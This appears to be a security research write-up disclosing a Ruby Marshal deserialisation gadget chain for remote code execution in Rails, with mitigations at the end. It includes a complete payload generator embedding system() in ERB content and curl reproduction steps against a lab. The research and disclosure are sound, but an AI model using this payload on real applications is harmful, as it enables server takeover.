A fractured, hollow effigy reassembled from shards and suspended on marionette strings, exhaling fire from its chest, an allegory for an object rebuilt by Marshal.load without ever being initialized.

Another Ruby Marshal Chain:RCE in Rails

A novel deserialisation gadget chain in Ruby on Rails, built from two native ActiveSupport gadgets that chain together to run code via Marshal.load on a patched framework, making Rails itself instantiate a fresh, legitimate ERB, without ever touching a deserialised one.

Context

In April 2026, TristanInSec reported CVE-2026-41316: the canonical Ruby Marshal RCE chain on Rails. It routed DeprecatedInstanceVariableProxy (DIVP) into ERB#def_module on a deserialised ERB, bypassing the original @_init guard, which only protected ERB#result and ERB#run.

The official patch extended the guard to def_method. Since def_module and def_class just delegate to def_method, one guard covers all three:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  ...
end

ruby/erb · lib/erb.rb · v4.0.4.1 · L465–468

Note the sentinel isn’t a boolean: initialize sets @_init = self.class.singleton_class, and the guard requires @_init.equal?(...) — which defeats even forgery, since setting @_init = true in the payload won’t satisfy the comparison. And because Marshal.load rebuilds the object without calling initialize, @_init stays nil, the guard fires and the chain dies. That’s why the most-used Marshal RCE gadget on Rails is now closed on any patched environment.

Technical deep-dive. An end-to-end walk-through of the chain, covering Ruby fundamentals, the two gadgets and the line-by-line PoC, lives at docs/gadget-explained.en.pdf in the repo.

The insight

The patch only protects ERB that came in through Marshal. If the chain can create a fresh ERB.new at runtime (with @_init properly set by initialize), the guard never fires.

Who instantiates ERB.new from an instance variable, in a method callable with no arguments? ActiveSupport::ConfigurationFile, the class Rails uses to read database.yml and friends:

def parse(context: nil, **options)
  source = @content.include?("<%") ? render(context) : @content
  # ... YAML.load(source) ...
end

def render(context)
  erb = ERB.new(@content).tap { |e| e.filename = @content_path }   # fresh ERB → @_init OK
  context ? erb.result(context) : erb.result                        # eval
end

rails/rails · configuration_file.rb · v7.1.6 · L21–48

@content is an ordinary instance variable that we control. If it contains <%, parse calls render, which does ERB.new(@content).result on a fresh ERB. That’s where the patch has nothing to do: the ERB that runs the code is built at runtime, with a valid @_init. There’s never a deserialised ERB involved.

ConfigurationFile is the direct sink I used, but hardly the only one: any argument-less method that does ERB.new(@ivar).result over a controllable ivar is an equivalent sink. Others like it may exist in Rails or in ecosystem gems without being documented, and each would open a new chain off the same trigger.

The chain

Marshal.load rebuilds objects but doesn’t call methods on them on its own. The missing piece is something that invokes parse as a side effect of deserialisation. That’s the role of ActiveSupport’s DeprecatedInstanceVariableProxy (DIVP), a deprecation proxy that inherits from DeprecationProxy:

instance_methods.each { |m| undef_method(m) unless /^__|^object_id$/.match?(m) }

def method_missing(called, *args, &block)
  warn(...)
  target.__send__(called, *args, &block)
end

def target
  @instance.__send__(@method)
end

Two gears. undef_method strips every normal method off the proxy, including .hash, which every object has. So any call on it falls into method_missing, which calls target, which in turn does @instance.__send__(@method). Forge @instance and @method, and any touch on the proxy becomes a controlled dispatch:

proxy.hash → method_missing(:hash) → target → @instance.__send__(@method)
           = ConfigurationFile.__send__(:parse)

All that’s missing is the “any touch on the proxy”. The link is a behaviour of Marshal.load itself: rebuilding a Hash, it calls .hash on each key to pick the bucket.

class Spy
  def hash
    puts "  .hash called!"
    super
  end
end

Marshal.load(Marshal.dump({ Spy.new => 1 }))   # prints: .hash called!

That’s the trick: putting the DIVP as a Hash key in the payload makes load call .hash on it during deserialisation, and “loading data” becomes “calling a method”. With @instance = ConfigurationFile (forged, malicious @content) and @method = :parse, the whole chain fires inside Marshal.load:

Marshal.load(Hash{ DIVP => "x" })
  1. Hash inserts the key → calls DIVP.hash (undef'd)
  2. .hash → method_missing → target → @instance.__send__(@method)
            where @instance = ActiveSupport::ConfigurationFile, @method = :parse
  3. parse → render(nil)                       (@content contains "<%")
  4. ERB.new(@content).result → eval → system("id") → RCE

Two gadgets, one type confusion: the DIVP passes for a hashable object, but any touch on it becomes a dispatch to another method. No Sprockets, no Rack, no intermediate gadget, just ActiveSupport loaded, present in every Rails app.

Generating the payload

#!/usr/bin/env ruby
require 'base64'
require 'active_support'
require 'active_support/configuration_file'
require 'active_support/deprecation'

cmd = ARGV[0] || 'id'

cf = ActiveSupport::ConfigurationFile.allocate
cf.instance_variable_set(:@content,      "<%= system(#{cmd.inspect}) %>")
cf.instance_variable_set(:@content_path, 'x')

# Neutralise DIVP during generation, or the chain fires here
klass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
klass.define_method(:hash) { 12345 }
saved_mm = klass.instance_method(:method_missing)
klass.define_method(:method_missing) { |*_| nil }

dep = ActiveSupport::Deprecation.new
dep.instance_variable_set(:@silenced, true)

# Direct bind because instance_variable_set was undef'd on DIVP
ivset = Object.instance_method(:instance_variable_set)
proxy = klass.allocate
ivset.bind(proxy).call(:@instance,   cf)
ivset.bind(proxy).call(:@method,     :parse)
ivset.bind(proxy).call(:@var,        :@x)
ivset.bind(proxy).call(:@deprecator, dep)

# Dump the proxy alone + Hash wrapper assembled by hand: a direct Hash dump
# would call .hash on the proxy and fire the chain in the generator
proxy_dump  = Marshal.dump(proxy)
proxy_inner = proxy_dump[2..]
payload = "\x04\x08{\x06" + proxy_inner + "I\"\x06x\x06:\x06ET"

klass.define_method(:method_missing, saved_mm)
klass.remove_method(:hash) rescue nil

puts Base64.strict_encode64(payload)

The only generation caveat: since DIVP undef’d its own instance_variable_set, calling it on the proxy falls into method_missing. Object.instance_method(:instance_variable_set).bind(proxy) reaches the real implementation. And we dump the proxy on its own, assembling the Hash wrapper by hand, because a Marshal.dump({proxy => "x"}) would call .hash on the proxy and fire the chain on the very machine generating the payload.

Reproducing

The reproduction repo ships a docker-compose.yml, Dockerfile and pinned Gemfile:

git clone https://github.com/S3r4ph1el/another-ruby-marshal-chain
cd another-ruby-marshal-chain
docker compose up -d --build

B64=$(docker compose exec lab bundle exec ruby /exploit/gen_payload.rb 'id')
curl -s -X POST --data-urlencode "p=$B64" http://127.0.0.1:3000/marshal
Payload generated in the lab and POSTed to /marshal, returning uid=0(root) gid=0(root) groups=0(root)
End-to-end PoC in the lab with `uid=0(root)`.

Alternative vector

ConfigurationFile is always present in Rails, but the technique doesn’t depend on it. When there’s no zero-arg method that evaluates an ivar, you can build the bridge: turn DIVP’s zero-arg dispatch into a call(Hash) to Sprockets::ERBProcessor (which also does a fresh ERB.new(input[:data])). The path:

DIVP → Rack::Response#buffered_body!   (iterates @body, does @writer.call(part.to_s))
     → Process::Tms#each               (enumerable Struct; yields the crafted part)
     → Gem::Version#to_s               (returns @version verbatim — smuggles a Hash through a .to_s)
     → Sprockets::ERBProcessor#call    (fresh ERB.new → eval)

Five gadgets instead of two, and it needs Sprockets loaded, but it’s instructive as a general bridging technique. Fine detail: Gem::Version even defends itself, with a marshal_load that re-runs initialize and would re-validate @version. The bridge only slips past because it builds the object with Marshal’s raw object format (o), which skips marshal_load. The full generator is in the lab at exploit/gen_payload_sprockets.rb.

Compatibility matrix

Each ActiveSupport release was installed in a clean container and the chain fired end-to-end, from Ruby 3.2 to Ruby 4.0.5 (the latest). The 8.1.3 row ran on the fully up-to-date stack: Ruby 4.0.5 + ActiveSupport 8.1.3 + erb 6.0.4, with the ERB already patched for CVE-2026-41316. The chain fires anyway, because it never deserialises an ERB.

ActiveSupport2-gadget5-gadget
7.0.8.7RCERCE
7.1.6RCERCE
7.2.2.1RCERCE
8.0.2RCERCE
8.1.3RCERCE

Gem versions aren’t the limiter, since the code paths are identical across the range. What sets the reach is the sink:

  • 2-gadget (ConfigurationFile): needs ActiveSupport loaded (present in every Rails app) and ERB loaded. On ActiveSupport 8.0+ render does require "erb" itself, so ActiveSupport alone suffices; on ActiveSupport 7.0–7.2 ERB must already be loaded, always the case in a real Rails app (ActionView pulls ERB in). Works even on Rails 8 with Propshaft, because the asset pipeline is irrelevant here.
  • 5-gadget (Sprockets): needs Sprockets loaded and, on Ruby 4.0+, OpenStruct (ostruct) too, which left the default gems. Rails 8 switched the default to Propshaft, so on a new app the alternative vector doesn’t apply, but the 2-gadget one still does.

Gadget or vulnerability?

Two terms that describe different things. A gadget is legitimate code reused as a stepping stone: ConfigurationFile#parse, the DeprecationProxy and ERB all do exactly what they promise. The vulnerability is the flaw that opens the door, and it sits at a single point, the application calling Marshal.load on attacker bytes, the CWE-502 anti-pattern. It lives in the app, not in Rails, and exists regardless of which chain weaponizes it.

CVE-2026-41316 was a different beast: there the flaw was in ERB itself (a security promise with a hole, which the patch closed). Here no library breaks a promise, so the durable fix is to not deserialise untrusted data, not to “patch” a gadget.

What’s new here

The public angle post-CVE focused on chaining gadgets into a Sprockets::ERBProcessor (httpvoid, 2021), an ~8-class bridge that depends on Sprockets. The shortcut here is realising that ActiveSupport::ConfigurationFile#parse already is a fresh-ERB sink callable with zero arguments from an ivar. That collapses the chain:

Public chain (httpvoid → Sprockets)This (ConfigurationFile)
Gadgets~82
DependencySprockets loadedActiveSupport only (always present)
Rails 8 + Propshaftdoesn’t applyapplies
Smuggler / bridgeSet + Gem::Version + buffered_body!none

The 5-gadget vector stays useful as a general bridging technique (and lives in the lab), but the direct path is shorter, dependency-free, and covers more targets.

httpvoid (2021) is still the benchmark, the only public chain that reaches a runtime ERB sink; the more recent ones (nastystereo, 2024; CVE-2026-41316, 2026) take other routes.

To be precise about what’s new: ConfigurationFile is not an unknown class to gadget hunters. elttam (Alex Brown, 2025) already listed it, but as a file-read (LFI) candidate via the new(path) constructor (ConfigurationFile.new('/etc/passwd').to_json), and rejected it as weak. That’s a different capability and a different method path. What no public source records is #parse → render → ERB.new(@content).result as a fresh-ERB RCE sink, reached zero-arg from an attacker-set @content, dodging the @_init guard. And the dedicated gadget-hunting survey (behradtaher) reaches ERB and calls it a dead end, except that dead end only holds for a deserialised ERB, and the chain comes in precisely through the fresh one.

Mitigation

  1. Never call Marshal.load on user-controlled data. Move to JSON/MessagePack/CBOR with strict schemas.
  2. If Marshal.load is unavoidable (e.g. internal encrypted-cookie deserialization), verify a signature before loading, with Rails.application.message_verifier or ActiveSupport::MessageEncryptor.
  3. Class allowlist via Marshal.load(blob, permitted_classes: [...]) (Ruby 3.x+), which only helps if you know exactly what to expect and are willing to reject everything else.
  4. Audit serialize :col, MarshalSerializer columns in ActiveRecord models, since any persisted column that user input can influence is a vector.

References